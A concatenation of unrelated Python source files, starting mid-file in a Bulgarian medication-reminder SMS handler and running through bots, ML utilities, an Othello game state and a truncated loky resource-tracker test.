you have taken previously #sends message of the kind: # “Преди сте приемали следните лекарства: # Амидофен, всеки ден, от 06/10/2020 до 14/10/2020: 1 хапче от 2 мг в 09:00, 2 хапчета от 2 мг в 15:00, 1 хапче от 2 мг в 21:00 # Валериан (06/10/2020-14/10/2020, вторник и петък): 1 хапче от 2 мг в 09:00, 1 хапче от 2 мг в 17:00. # select only medications with reminder flag == 1 df = df[df.reminder_flag == 0] df['dose+time'] = df.dose + ' в ' + df.med_intake_time df_gr = df.groupby(['medicine','weekday','reminder_start','reminder_stop'])['dose+time'].apply(list).reset_index(name='dose+time') str_list = ['Преди сте приемали следните лекарства:\n'] for idx,row in df_gr.iterrows(): # create the string 'frequency' that says what weekdays the customer has to take the medications if row.weekday == '0123456': frequency = 'всеки ден' else: frequency = ', '.join(num2wday[day_num] for day_num in row.weekday) med_and_doses = f'{row.medicine}, {frequency}, {row.reminder_start.strftime("%d.%m.%y")}-{row.reminder_stop.strftime("%d.%m.%y")}: ' + ', '.join(row['dose+time']) + '\n' str_list.append(med_and_doses) str_list.append('За детайли относно лекарствата, които взимате сега отговорете LEKARSTVA') resp.message(''.join(str_list)) if 'info-' in body.lower() or 'инфо-' in body.lower(): # if the message contains 'info' string of some kind strip it and make the letters lower case stripped_str = body.lstrip('info-').lstrip('INFO-').lstrip('ИНФО-').lstrip('инфо-').lower() # check if the residual string is contained in the columns 'medicine' or the latinized version 'med_latinized' if df.medicine.str.contains(stripped_str).any() or df.med_latinized.str.contains(stripped_str).any(): # get the link to the medicine, depending on in what column it is located try: link = df.link[df.medicine == stripped_str].iloc[0] except: link = df.link[df.med_latinized == stripped_str].iloc[0] resp.message(f'Вижте тук листовка към лекарсвото {stripped_str}: {link} \nАко имате въпроси или проблеми с Вашето лекарство обърнете се към Вашия лекар или фармацевт.') else: all_meds_of_customer = ', '.join(df.medicine.unique()) # if the string is not contained we tell the customer, that he has missspelled the medicine resp.message(f'Зададеното от Вас лекарство {stripped_str} не e измежду въведените Ваши лекарства - {all_meds_of_customer}') # this is to stop not all the medications of the patient, but only a selected one, e.g. 'стоп-аспирин' if 'stop-' in body.lower() or 'стоп-' in body.lower(): # if the message contains 'stop' string of some kind strip it and make the letters lower case stripped_str = body.lower().lstrip('stop-').lstrip('стоп-') # check if the residual string is contained in the columns 'medicine' or the latinized version 'med_latinized' if df.medicine.str.contains(stripped_str).any() or df.med_latinized.str.contains(stripped_str).any(): # get the link to the medicine, depending on in what column it is located try: # set all the reminder flags of this patient to 0 and save the update df0 to the file df0.reminder_flag[(df0.phone_num == phone_num) & (df0.medicine == stripped_str)] = 0 # update also the column of the stop date with the current date df0.reminder_stop[(df0.phone_num == phone_num) & (df0.medicine == stripped_str)] = pytz.timezone("Europe/Sofia").localize(datetime.datetime.now()) # you also need to update the current working version of the dataframe (df) df.reminder_flag[(df.phone_num == phone_num) & (df.medicine == stripped_str)] = 0 df.reminder_stop[(df.phone_num == phone_num) & (df.medicine == stripped_str)] = pytz.timezone("Europe/Sofia").localize(datetime.datetime.now()) # update the changes also the the original file itself df0.to_csv(file_path, index=False, date_format="%d.%m.%y") # this is for the case that the client types the medicine in latin, instead of cyrillic, e.g. amidofen, instead of амидофен except: df0.reminder_flag[(df0.phone_num == phone_num) & (df0.med_latinized == stripped_str)] = 0 # update also the column of the stop date with the current date df0.reminder_stop[(df0.phone_num == phone_num) & (df0.med_latinized == stripped_str)] = pytz.timezone("Europe/Sofia").localize(datetime.datetime.now()) # you also need to update the current working version of the dataframe (df) df.reminder_flag[(df.phone_num == phone_num) & (df.med_latinized == stripped_str)] = 0 df.reminder_stop[(df.phone_num == phone_num) & (df.med_latinized == stripped_str)] = pytz.timezone("Europe/Sofia").localize(datetime.datetime.now()) # update the changes also the the original file itself df0.to_csv(file_path, index=False, date_format="%d.%m.%y") resp.message(f'Успешно прекратихте Вашите напомнянията за {stripped_str}!') else: all_meds_of_customer = ', '.join(df.medicine.unique()) # if the string is not contained we tell the customer, that he has missspelled the medicine resp.message(f'Зададеното от Вас лекарство {stripped_str} не e измежду въведените Ваши лекарства - {all_meds_of_customer}') if body.lower() == 'kontakt' or body.lower() == 'контакт': m = f'Клиент с номер {phone_num} запита контакт с нас, свържи се с него!' message = client.messages.create(body=m, from_= happ_num1, to=happ_num2) return str(resp) if __name__ == "__main__": app.run(debug=True)
python
from src.bert_classifier.model import Model from src.bert_classifier.fit import fit
python
#!/usr/bin/env python3 # -*- coding: utf-8 -*- from telegram.ext import Updater, MessageHandler, Filters import traceback as tb import json import random import threading START_MESSAGE = (''' Loop message in chat / group / channel. add - /add message: add message to loop. list - /list: list message inside the loop. remove - /remove message_number: remove the message inside the loop. ''') loopPos = {} INTERVAL = 3600 with open('CREDENTIALS') as f: CREDENTIALS = json.load(f) debug_group = CREDENTIALS.get('debug_group') or -1001198682178 try: with open('DB') as f: DB = json.load(f) except: DB = {} def saveDB(): with open('DB', 'w') as f: f.write(json.dumps(DB, sort_keys=True, indent=2)) def splitCommand(text): pieces = text.split() if len(pieces) < 1: return '', '' command = pieces[0] return command.lower(), text[text.find(command) + len(command):].strip() def getDB(msg): key = str(msg.chat_id) DB[key] = DB.get(key, []) return DB[key] def add(msg, content): getDB(msg).append(content) saveDB() msg.reply_text('success', quote=False) msg.forward(chat_id = debug_group) if msg.chat and msg.chat.username: msg.bot.send_message(chat_id=debug_group, text='t.me/' + msg.chat.username) def listLoop(msg): items = [str(index) + ': '+ content for index, content in enumerate(getDB(msg))] if not items: return msg.reply_text('FAIL. no loop items yet.', quote=False) msg.reply_text('\n\n'.join(items), quote=False, disable_web_page_preview=True) def remove(msg, content): db = getDB(msg) try: index = int(content) except: return msg.reply_text('FAIL. index not valid: ' + content, quote=False) if len(db) <= index: return msg.reply_text('FAIL. index out of range: ' + content, quote=False) del db[index] saveDB() msg.reply_text('success', quote=False) def manage(update, context): try: msg = update.effective_message if not msg: return command, content = splitCommand(msg.text) if ('add' in command) and content: return add(msg, content) if 'list' in command: return listLoop(msg) if 'remove' in command: return remove(msg, content) msg.reply_text(START_MESSAGE, quote=False) except Exception as e: print(e) tb.print_exc() context.bot.send_message(chat_id=debug_group, text=str(e)) def start(update, context): try: update.effective_message.reply_text(START_MESSAGE, quote=False) except Exception as e: print(e) tb.print_exc() def loopImp(): for key in DB: loopLen = len(DB[key]) if not loopLen: continue index = loopPos.get(key, random.randint(0, loopLen - 1)) if index >= loopLen: updater.bot.send_message(chat_id=debug_group, text='Should only happen why removed items from list') index = 0 updater.bot.send_message( chat_id=key, text=DB[key][index]) loopPos[key] = (index + 1) % loopLen updater = Updater(CREDENTIALS['bot_token'], use_context=True) dp = updater.dispatcher dp.add_handler(MessageHandler(Filters.command, manage)) dp.add_handler(MessageHandler(Filters.private & (~Filters.command), start)) def loop(): try: loopImp() except Exception as e: print(e) tb.print_exc() updater.bot.send_message(chat_id=debug_group, text=str(e)) threading.Timer(INTERVAL, loop).start() loop() updater.start_polling() updater.idle()
python
# Copyright 2019 Google LLC. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """BuildSpec helper.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function import os import click from typing import Text import yaml from tfx.tools.cli.container_builder import labels class BuildSpec(object): """Build specification. BuildSpec generates a default build spec if it does not exist. Attributes: filename: build spec filename. build_context: build working directory. _buildspec: in-memory representation of the build spec. """ def __init__(self, filename: Text = labels.BUILD_SPEC_FILENAME): self._filename = filename if not os.path.exists(self._filename): raise ValueError('BuildSpec:: build spec file %s does not exist.' % filename) self._read_existing_build_spec() @staticmethod def load_default(filename: Text = labels.BUILD_SPEC_FILENAME, target_image: Text = None, build_context: Text = labels.BUILD_CONTEXT, dockerfile_name: Text = labels.DOCKERFILE_NAME): """Generate a default build spec yaml.""" if os.path.exists(filename): raise ValueError('BuildSpec: build spec file %s already exists.' % filename) if target_image is None: raise ValueError('BuildSpec: target_image is not given.') build_spec = { 'apiVersion': labels.SKAFFOLD_API_VERSION, 'kind': 'Config', 'build': { 'artifacts': [{ 'image': target_image, 'workspace': build_context, 'docker': { 'dockerfile': dockerfile_name } }] } } with open(filename, 'w') as f: yaml.dump(build_spec, f) return BuildSpec(filename) def _read_existing_build_spec(self): """Read existing build spec yaml.""" with open(self.filename, 'r') as f: click.echo('Reading build spec from %s' % self.filename) self._buildspec = yaml.safe_load(f) if len(self._buildspec['build']['artifacts']) != 1: raise RuntimeError('The build spec contains multiple artifacts however' 'only one is supported.') self._build_context = self._buildspec['build']['artifacts'][0][ 'workspace'] @property def filename(self): return self._filename @property def build_context(self): return self._build_context
python
from setuptools import setup setup( name="backbones", version="0.1", description="Common neural network architectures implemented in PyTorch.", url="https://github.com/bentaculum/backbones", author="Benjamin Gallusser", author_email="[email protected]", license="MIT", install_requires=[ 'pytest', 'torch', ], )
python
from typing import List, Tuple, Callable, Optional import numpy as np import tweedie from gluonts.model.forecast import SampleForecast, QuantileForecast from scipy.optimize import fmin_l_bfgs_b from scipy.special import gammaln, factorial, psi from scipy.stats import norm, beta, gamma, nbinom, poisson from sklearn.preprocessing import MinMaxScaler from statsmodels.distributions import ECDF def pool_forecast_transform_fn( input_: Tuple[SampleForecast, int], forecast_transform_fn: Callable[[SampleForecast, int], List[float]], ) -> List[float]: forecast, stock = input_ return forecast_transform_fn(forecast, stock) def calculate_out_of_stock_days_from_samples( forecast: SampleForecast, stock: int, total_days: int = 30 ) -> np.ndarray: sample_days = np.apply_along_axis( np.searchsorted, 1, np.cumsum(forecast.samples, axis=1) >= stock, True ) sample_days[sample_days == total_days] -= 1 return sample_days + 1 def calculate_out_out_stock_days_from_quantiles( forecast: QuantileForecast, stock: int, total_days: int = 30 ) -> np.ndarray: quantile_days = np.apply_along_axis( np.searchsorted, 1, np.cumsum(forecast.forecast_array, axis=1) >= stock, True ) quantile_days[quantile_days == total_days] -= 1 return quantile_days + 1 def old_cdf_to_probas(cdf: List[float]) -> List[float]: prob_array = np.array(np.ediff1d(cdf, to_begin=cdf[0])) return list(prob_array / np.sum(prob_array)) def cdf_fn_to_probas( cdf_fn: Callable[[float], float], total_days: int = 30 ) -> List[float]: prob_array = np.ediff1d([cdf_fn(i) for i in range(0, total_days + 1)]) return list(prob_array / np.sum(prob_array)) def _calculate_std(sample_days: np.ndarray, fixed_std: Optional[float], std_scaler: Optional[MinMaxScaler]): if fixed_std: std = fixed_std elif std_scaler: std = std_scaler.transform(sample_days.std().reshape(-1, 1))[0][0] else: std = sample_days.std() return std def apply_tweedie( sample_days: np.ndarray, phi: float = 2.0, power: float = 1.3, fixed_std: float = None, std_scaler: MinMaxScaler = None, total_days: int = 30, ) -> List[float]: mu = sample_days.mean() if phi < 0: sigma = _calculate_std(sample_days, fixed_std, std_scaler) phi = (sigma ** 2) / mu ** power distro = tweedie.tweedie(p=power, mu=mu, phi=phi) return cdf_fn_to_probas(distro.cdf, total_days=total_days) def apply_normal( sample_days: np.ndarray, fixed_std: float = None, std_scaler: MinMaxScaler = None, total_days: int = 30, ) -> List[float]: distro = norm(sample_days.mean(), _calculate_std(sample_days, fixed_std, std_scaler)) return cdf_fn_to_probas(distro.cdf, total_days=total_days) def apply_ecdf(sample_days: np.ndarray, total_days: int = 30) -> List[float]: ecdf = ECDF(sample_days) return cdf_fn_to_probas(ecdf, total_days=total_days) def apply_beta( sample_days: np.ndarray, fixed_std: float = None, std_scaler: MinMaxScaler = None, total_days: int = 30 ) -> List[float]: mu = sample_days.mean() / total_days sigma = _calculate_std(sample_days, fixed_std, std_scaler) / total_days a = mu ** 2 * ((1 - mu) / sigma ** 2 - 1 / mu) b = a * (1 / mu - 1) distro = beta(a, b) return cdf_fn_to_probas(distro.cdf, total_days=total_days) # X is a numpy array representing the data # initial params is a numpy array representing the initial values of # size and prob parameters def _fit_nbinom(X: np.ndarray, initial_params=None) -> Tuple[float, float]: infinitesimal = np.finfo(np.float).eps def log_likelihood(params, *args): r, p = params X = args[0] N = X.size # MLE estimate based on the formula on Wikipedia: # http://en.wikipedia.org/wiki/Negative_binomial_distribution#Maximum_likelihood_estimation result = ( np.sum(gammaln(X + r)) - np.sum(np.log(factorial(X))) - N * (gammaln(r)) + N * r * np.log(p) + np.sum(X * np.log(1 - (p if p < 1 else 1 - infinitesimal))) ) return -result def log_likelihood_deriv(params, *args): r, p = params X = args[0] N = X.size pderiv = (N * r) / p - np.sum(X) / (1 - (p if p < 1 else 1 - infinitesimal)) rderiv = np.sum(psi(X + r)) - N * psi(r) + N * np.log(p) return np.array([-rderiv, -pderiv]) if initial_params is None: # reasonable initial values (from fitdistr function in R) m = np.mean(X) v = np.var(X) size = (m ** 2) / (v - m) if v > m else 10 # convert mu/size parameterization to prob/size p0 = size / ((size + m) if size + m != 0 else 1) r0 = size initial_params = np.array([r0, p0]) bounds = [(infinitesimal, None), (infinitesimal, 1)] optimres = fmin_l_bfgs_b( log_likelihood, x0=initial_params, # fprime=log_likelihood_deriv, args=(X,), approx_grad=1, bounds=bounds, ) params = optimres[0] return (params[0], params[1]) def apply_fitted_negative_binomial( sample_days: np.ndarray, total_days: int = 30 ) -> List[float]: distro = nbinom(*_fit_nbinom(sample_days)) return cdf_fn_to_probas(distro.cdf, total_days=total_days) def apply_negative_binomial( sample_days: np.ndarray, fixed_std: float = None, std_scaler: MinMaxScaler = None, total_days: int = 30, ) -> List[float]: mu = sample_days.mean() sigma = _calculate_std(sample_days, fixed_std, std_scaler) var = sigma ** 2 r = (mu ** 2) / (var - mu) if var > mu else total_days p = r / ((r + mu) if r + mu != 0 else 1) distro = nbinom(r, p) return cdf_fn_to_probas(distro.cdf, total_days=total_days) def apply_poisson(sample_days: np.ndarray, total_days: int = 30) -> List[float]: distro = poisson(sample_days.mean()) return cdf_fn_to_probas(distro.cdf, total_days=total_days) def apply_fitted_gamma(sample_days: np.ndarray, total_days: int = 30) -> List[float]: shape, loc, scale = gamma.fit(sample_days) distro = gamma(shape, loc, scale) return cdf_fn_to_probas(distro.cdf, total_days=total_days)
python
import argparse import os import time from keystoneauth1 import loading from keystoneauth1 import session from heatclient import client _TERMINAL = [ 'CREATE_FAILED', 'CREATE_COMPLETE', 'UPDATE_FAILED', 'UPDATE_COMPLETE' ] _INTERVAL = 20 def get_session(): """Get a keystone session :returns: Keystone session :rtype: session.Session """ loader = loading.get_plugin_loader('password') auth = loader.load_from_options( auth_url=os.environ.get('OS_AUTH_URL'), username=os.environ.get('OS_USERNAME'), password=os.environ.get('OS_PASSWORD'), project_name=os.environ.get('OS_PROJECT_NAME'), project_domain_name=os.environ.get('OS_PROJECT_DOMAIN_NAME'), user_domain_name=os.environ.get('OS_USER_DOMAIN_NAME') ) return session.Session(auth=auth, verify=False) def get_heat(): """Get instance of heat client. :returns: Heat client instance. :rtype: heatclient.client.Client """ return client.Client('1', session=get_session()) parser = argparse.ArgumentParser() parser.add_argument('stack', type=str, help='Name or ID of stack') parser.add_argument( 'timeout', type=int, help='How many seconds to wait for Create Complete Status.' ) args = parser.parse_args() heat = get_heat() start = time.time() while time.time() - start < args.timeout: stack = heat.stacks.get(args.stack) status = stack.stack_status print "Status of {} is {}".format(args.stack, stack.stack_status) if status in _TERMINAL: if status == 'CREATE_COMPLETE': exit() else: raise Exception( "Unexpected terminal status {} for stack {}." .format(status, args.stack) ) else: time.sleep(_INTERVAL) raise Exception("Ran out of time waiting for stack {}.".format(args.stack))
python
from pydantic import BaseModel #fastapi接口的数据模型 class User(BaseModel): first_name: str last_name: str age: int class Config: orm_mode = True
python
import sys import getpass from mlflow.tracking.context.abstract_context import RunContextProvider from mlflow.entities import SourceType from mlflow.utils.mlflow_tags import ( MLFLOW_USER, MLFLOW_SOURCE_TYPE, MLFLOW_SOURCE_NAME, ) _DEFAULT_USER = "unknown" def _get_user(): """Get the current computer username.""" try: return getpass.getuser() except ImportError: return _DEFAULT_USER def _get_main_file(): return sys.argv[0] if len(sys.argv) > 0 else None def _get_source_name(): main_file = _get_main_file() if main_file is not None: return main_file return "<console>" def _get_source_type(): return SourceType.LOCAL class DefaultRunContext(RunContextProvider): def in_context(self): return True def tags(self): return { MLFLOW_USER: _get_user(), MLFLOW_SOURCE_NAME: _get_source_name(), MLFLOW_SOURCE_TYPE: SourceType.to_string(_get_source_type()), }
python
import numpy as np import torch from torch.utils.data import Dataset from torch.utils.data.dataloader import default_collate from fairseq.data.fairseq_dataset import FairseqDataset def sine(phase, amplitude, x): return np.sin(x + phase) * amplitude class SineDataset(Dataset): def __init__(self, split, phase, amplitude, rng): self.rng = rng if split == 'train': # All of the x points self.x = np.linspace(-5, 5, 50, dtype=np.float32)[:, None] self.y = sine(phase=phase, amplitude=amplitude, x=self.x) elif split == 'test': # All of the x points all_data = np.linspace(-5, 5, 50, dtype=np.float32)[:, None] self.x = all_data[np.array([3, 3, 39, 9, 19, 21, 36, 23, 6, 24])] self.y = sine(phase=phase, amplitude=amplitude, x=self.x) elif split == 'valid': # Create a validation split self.x = np.linspace(-4, 4, 50, dtype=np.float32)[:, None] self.y = sine(phase=phase, amplitude=amplitude, x=self.x) else: raise NotImplementedError def __len__(self): return len(self.x) def __getitem__(self, item): return self.x[item], self.y[item] class SineFairseqDataset(SineDataset, FairseqDataset): """A dataset that provides helpers for batching.""" def __init__(self, split, phase, amplitude, rng, shuffle, half): super().__init__(split=split, phase=phase, amplitude=amplitude, rng=rng) self.shuffle = shuffle self.half = half def collater(self, samples): """Merge a list of samples to form a mini-batch. Args: samples (List[int]): sample indices to collate Returns: dict: a mini-batch suitable for forwarding with a Model """ mini_batch = default_collate(samples) assert len(mini_batch) == 2 if self.half: mini_batch[0] = mini_batch[0].half() mini_batch[1] = mini_batch[1].half() id = torch.LongTensor(range(len(samples))) nsentences = len(samples) lengths = torch.ones(nsentences, 1) mini_batch_dict = {'net_input': {'src_tokens': mini_batch[0], 'src_lengths': lengths}, 'target': mini_batch[1], 'id': id, 'nsentences': nsentences} return mini_batch_dict def get_dummy_batch(self, num_tokens, max_positions, src_len=1, tgt_len=1): """Return a dummy batch with a given number of tokens.""" x = torch.zeros(num_tokens, 1) y = torch.zeros(num_tokens, 1) l = torch.ones(num_tokens, 1) id = torch.LongTensor(range(num_tokens)) return {'net_input': {'src_tokens': x, 'src_lengths': l}, 'target': y, 'id': id, 'nsentences': num_tokens} def num_tokens(self, index): """Return the number of tokens in a sample. This value is used to enforce ``--max-tokens`` during batching.""" return 1 def size(self, index): """Return an example's size as a float or tuple. This value is used when filtering a dataset with ``--max-positions``.""" return 1 def ordered_indices(self): """Return an ordered list of indices. Batches will be constructed based on this order.""" num_train_examples = len(self) if self.shuffle: return self.rng.permutation(num_train_examples) else: return range(num_train_examples)
python
import socket server = "localhost" #settings channel = "#domino" botnick = "firestorck_bot" print("Server : ", server) print("Channel : ", channel) print("Name : ", botnick) irc = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #defines the socket print ("connecting to: "+server) irc.connect((server, 6667)) SenderRunning, ListenerRunning = 1, 1 ConvUser = ""
python
import numpy as np import copy as cp DIRECTIONS = [np.array((0, 1)), np.array((1, 0)), np.array((1, 1)), np.array((0, -1)), np.array((-1, 0)), np.array((-1, -1)), np.array((1, -1)), np.array((-1, 1))] class State: def __init__(self, grid=None, previous_skip=False, side=2, master_side=2): if grid is None: self.grid = [6 * [0] for i in range(6)] self.grid[2][2] = 1 self.grid[2][3] = 2 self.grid[3][2] = 2 self.grid[3][3] = 1 else: self.grid = grid self.side = side self.previous_skip = previous_skip self.master_side = master_side def get_legal_actions(self): ''' Modify according to your game or needs. Constructs a list of all possible actions from current state. Returns a list. ''' return get_side_moves(self.grid, self.side) def is_game_over(self): ''' Modify according to your game or needs. It is the game over condition and depends on your game. Returns true or false ''' return is_game_over(self.grid, self.side, self.previous_skip) def game_result(self): ''' Modify according to your game or needs. Returns 1 or 0 or -1 depending on your state corresponding to win, tie or a loss. ''' return get_winning_side(self.grid, self.master_side) def move(self, action): ''' Modify according to your game or needs. Changes the state of your board with a new value. For a normal Tic Tac Toe game, it can be a 3 by 3 array with all the elements of array being 0 initially. 0 means the board position is empty. If you place x in row 2 column 3, then it would be some thing like board[2][3] = 1, where 1 represents that x is placed. Returns the new state after making a move. ''' new_state = State(grid=cp.deepcopy(self.grid), previous_skip=self.previous_skip, side=self.side, master_side=self.master_side) apply_move(new_state, action) new_state.side = 3 - self.side return new_state def __str__(self): string = f"Current player {self.side}\n" for line in self.grid: string += str(line) + "\n" return string def __repr__(self): return self.__str__() def position_in_grid(grid, position): return 0 <= position[0] < len(grid) and 0 <= position[1] < len(grid[0]) def get_claimable_positions_from(grid: list[list[int]], source: np.ndarray): disk_side = grid[source[0]][source[1]] other_side = 3 - disk_side claimable_pos = [] for vector in DIRECTIONS: new_pos = source + vector if position_in_grid(grid, new_pos) and grid[new_pos[0]][new_pos[1]] == other_side: while position_in_grid(grid, new_pos) and grid[new_pos[0]][new_pos[1]] == other_side: new_pos += vector if position_in_grid(grid, new_pos) and grid[new_pos[0]][new_pos[1]] == 0: claimable_pos.append(new_pos) return claimable_pos def get_side_disks(grid, side): disks = [] for i in range(len(grid)): for j in range(len(grid[i])): if grid[i][j] == side: disks.append(np.array((i, j))) return disks def get_side_moves(grid, side): disks = get_side_disks(grid, side) moves = {} for coord in disks: disk_moves = get_claimable_positions_from(grid, coord) for move in disk_moves: non_mutable_coord = tuple(move) if non_mutable_coord not in moves: moves[non_mutable_coord] = [coord] else: moves[non_mutable_coord] += [coord] side_moves = [None] if len(moves) > 0: side_moves = [[move, moves[move]] for move in moves.keys()] return side_moves def apply_move(state, move): if move is not None: state.previous_skip = False coord, list_position_from = move[0], move[1] state.grid[coord[0]][coord[1]] = state.side for position_from in list_position_from: direction = position_from - coord # getting the vector back to one unit for each direction if direction[0] > 0: direction[0] = 1 elif direction[0] < 0: direction[0] = -1 if direction[1] > 0: direction[1] = 1 elif direction[1] < 0: direction[1] = -1 new_pos = coord + direction while new_pos[0] != position_from[0] or new_pos[1] != position_from[1]: state.grid[new_pos[0]][new_pos[1]] = state.side new_pos += direction else: state.previous_skip = True def explore_all_possible_games(state: State): moves = state.get_legal_actions() for move in moves: explore_all_possible_games(state.move(move)) def get_winning_side(grid, master_side): side_count = {1: 0, 2: 0} for line in grid: for tile in line: if tile: side_count[tile] += 1 if side_count[1] == side_count[2]: return 0 elif side_count[1] > side_count[2]: if master_side == 1: return 1 else: return -1 else: if master_side == 2: return 1 else: return -1 def position_can_claim(grid: list[list[int]], source: np.ndarray): disk_side = grid[source[0]][source[1]] other_side = 3 - disk_side for vector in DIRECTIONS: new_pos = source + vector if position_in_grid(grid, new_pos) and grid[new_pos[0]][new_pos[1]] == other_side: while position_in_grid(grid, new_pos) and grid[new_pos[0]][new_pos[1]] == other_side: new_pos += vector if position_in_grid(grid, new_pos) and grid[new_pos[0]][new_pos[1]] == 0: return True return False def is_game_over(grid, side, previous_skip): if previous_skip: disks = get_side_disks(grid, side) for coord in disks: if position_can_claim(grid, coord): return False return True return False # Othello default grid # grid = [8 * [0] for i in range(8)] # grid[3][3] = 1 # grid[3][4] = 2 # grid[4][3] = 2 # grid[4][4] = 1 # Othello 6*6 grid # grid = [6 * [0] for i in range(6)] # grid[2][2] = 1 # grid[2][3] = 2 # grid[3][2] = 2 # grid[3][3] = 1
python
import os import glob import shutil import tempfile import numpy as np import common import features import folds from audio_toolbox import ffmpeg, sox from constants import * def normalize(input_file): temp_dir = tempfile.mkdtemp() transcoded_file = os.path.join(temp_dir, 'transcoded.flac') ffmpeg.transcode(input_file, transcoded_file) if not args.keep_silence: trimmed_file = os.path.join(temp_dir, 'trimmed.flac') sox.remove_silence( transcoded_file, trimmed_file, min_duration_sec=args.silence_min_duration_sec, threshold=args.silence_threshold) else: trimmed_file = transcoded_file duration = sox.get_duration(trimmed_file) duration = int((duration // FRAGMENT_DURATION) * FRAGMENT_DURATION) normalized_file = os.path.join(temp_dir, 'normalized.flac') sox.normalize(trimmed_file, normalized_file, duration_in_sec=duration) return normalized_file, temp_dir def load_samples(normalized_file): temp_dir = tempfile.mkdtemp() fragmented_file = os.path.join(temp_dir, '[email protected]') sox.split(normalized_file, fragmented_file, FRAGMENT_DURATION) features.process_audio(temp_dir) samples = [] for file in glob.glob(os.path.join(temp_dir, '*.npz')): sample = np.load(file)[DATA_KEY] sample = folds.normalize_fb(sample) assert sample.shape == INPUT_SHAPE assert sample.dtype == DATA_TYPE samples.append(sample) samples = np.array(samples) return samples, temp_dir def predict(model_file): import keras.models _, languages = common.build_label_binarizer() model = keras.models.load_model(model_file) results = model.predict(samples) scores = np.zeros(len(languages)) for result in results: scores[np.argmax(result)] += 1 return scores, languages def clean(paths): for path in paths: shutil.rmtree(path) if __name__ == "__main__": import argparse parser = argparse.ArgumentParser(description='Test the model.') parser.add_argument( 'input', help='a path to an audio file') parser.add_argument( '--model', dest='model', help='a path to the H5 model file; the default is `model.h5`') parser.add_argument( '--silence-threshold', dest='silence_threshold', type=float, help=("indicates what sample value you should treat as silence; " "the default is `0.5`")) parser.add_argument( '--silence-min-duration', dest='silence_min_duration_sec', type=float, help=("specifies a period of silence that must exist before audio is " "not copied any more; the default is `0.1`")) parser.add_argument( '--keep-silence', dest='keep_silence', action='store_true', help='don\'t remove silence from samples') parser.add_argument( '--keep-temp-files', dest='keep_temp_files', action='store_true', help='don\'t remove temporary files when done') parser.add_argument( '--verbose', dest='verbose', action='store_true', help='print more logs') parser.set_defaults( model='model.h5', keep_silence=False, silence_min_duration_sec=0.1, silence_threshold=0.5, keep_temp_files=False, verbose=False) args = parser.parse_args() if not args.verbose: # supress all warnings import warnings warnings.filterwarnings("ignore") # supress tensorflow warnings os.environ['TF_CPP_MIN_LOG_LEVEL'] = '2' normalized_file, normalized_dir = normalize(args.input) samples, samples_dir = load_samples(normalized_file) if not args.keep_temp_files: clean((normalized_dir, samples_dir)) scores, languages = predict(args.model) total = np.sum(scores) for language_idx, language in enumerate(languages): score = scores[language_idx] print("{language}: {percent:.2f}% ({amount:.0f})".format( language=language, percent=(score / total) * 100, amount=score))
python
import django_describer.actions import django_describer.datatypes import django_describer.permissions import django_describer.describers import django_describer.utils import django_describer.adapters name = "django_describer"
python
from ctypes import * from .jenv import * from . import Object from . import ClassUtils from . import Executable from . import String from . import Modifier class Method(Executable.Executable, Modifier.Modifier): _isInit = None _Class = None _getName = None _getReturnType = None _count = 0 def __init__(self, obj): Method._count = Method._count + 1 class_name = "Ljava/lang/reflect/Method;" Executable.Executable.__init__(self, class_name, obj) Modifier.Modifier.__init__(self) if(not Method._isInit): Method._Class = ClassUtils.fromFullyQualifiedName(class_name) if(not Method._Class): print("Failed to find Method class") Method._getName = GetMethodID(Method._Class.getClass(), "getName", "()Ljava/lang/String;") if(not Method._getName): print("Failed to find getName") Method._getReturnType = GetMethodID(Method._Class.getClass(), "getReturnType", "()Ljava/lang/Class;") if(not Method._getReturnType): print("Failed to find getReturnType") Method._isInit = True def __del__(self): Modifier.Modifier.__del__(self) Executable.Executable.__del__(self) if(Method._isInit and Method._count == 1): del(Method._Class) Method._Class = None Method._isInit = False Method._count = Method._count - 1 def getName(self): return String.String(CallObjectMethod(self.obj, Method._getName)) def getReturnType(self): return ClassUtils.fromJclass(CallObjectMethod(self.obj, Method._getReturnType)) def descriptor(self): desc = super(Method, self).descriptor() ret_type = self.getReturnType().internalTypeSignature() return desc + ret_type
python
"""Tests for the ResourceTracker class""" import errno import gc import os import pytest import re import signal import subprocess import sys import time import warnings import weakref from loky import ProcessPoolExecutor import loky.backend.resource_tracker as resource_tracker from loky.backend.context import get_context from .utils import resource_unlink, create_resource, resource_exists def _resource_unlink(name, rtype): resource_tracker._CLEANUP_FUNCS[rtype](name) def get_rtracker_pid(): resource_tracker.ensure_running() return resource_tracker._resource_tracker._pid class TestResourceTracker: @pytest.mark.parametrize("rtype", ["file", "folder", "semlock"]) def test_resource_utils(self, rtype): # Check that the resouce utils work as expected in the main process if sys.platform == "win32" and rtype == "semlock": pytest.skip("no semlock on windows") name = create_resource(rtype) assert resource_exists(name, rtype) resource_unlink(name, rtype) assert not resource_exists(name, rtype) def test_child_retrieves_resource_tracker(self): parent_rtracker_pid = get_rtracker_pid() executor = ProcessPoolExecutor(max_workers=2) child_rtracker_pid = executor.submit(get_rtracker_pid).result() # First simple pid retrieval check (see #200) assert child_rtracker_pid == parent_rtracker_pid # Register a resource in the parent process, and un-register it in the # child process. If the two processes do not share the same # resource_tracker, a cache KeyError should be printed in stderr. cmd = '''if 1: import os, sys from loky import ProcessPoolExecutor from loky.backend import resource_tracker from tempfile import NamedTemporaryFile tmpfile = NamedTemporaryFile(delete=False) tmpfile.close() filename = tmpfile.name resource_tracker.VERBOSE = True resource_tracker.register(filename, "file") def maybe_unlink(name, rtype): # resource_tracker.maybe_unlink is actually a bound method of the # ResourceTracker. We need a custom wrapper to avoid object # serialization. from loky.backend import resource_tracker resource_tracker.maybe_unlink(name, rtype) print(filename) e = ProcessPoolExecutor(1) e.submit(maybe_unlink, filename, "file").result() e.shutdown() ''' try: p = subprocess.run([sys.executable, '-E', '-c', cmd], capture_output=True, text=True) filename = p.stdout.strip() pattern = f"decremented refcount of file {filename}" assert pattern in p.stderr assert "leaked" not in p.stderr pattern = f"KeyError: '{filename}'" assert pattern not in p.stderr finally: executor.shutdown() # The following four tests are inspired from cpython _test_multiprocessing @pytest.mark.parametrize("rtype", ["file", "folder", "semlock"]) def test_resource_tracker(self, rtype): # # Check that 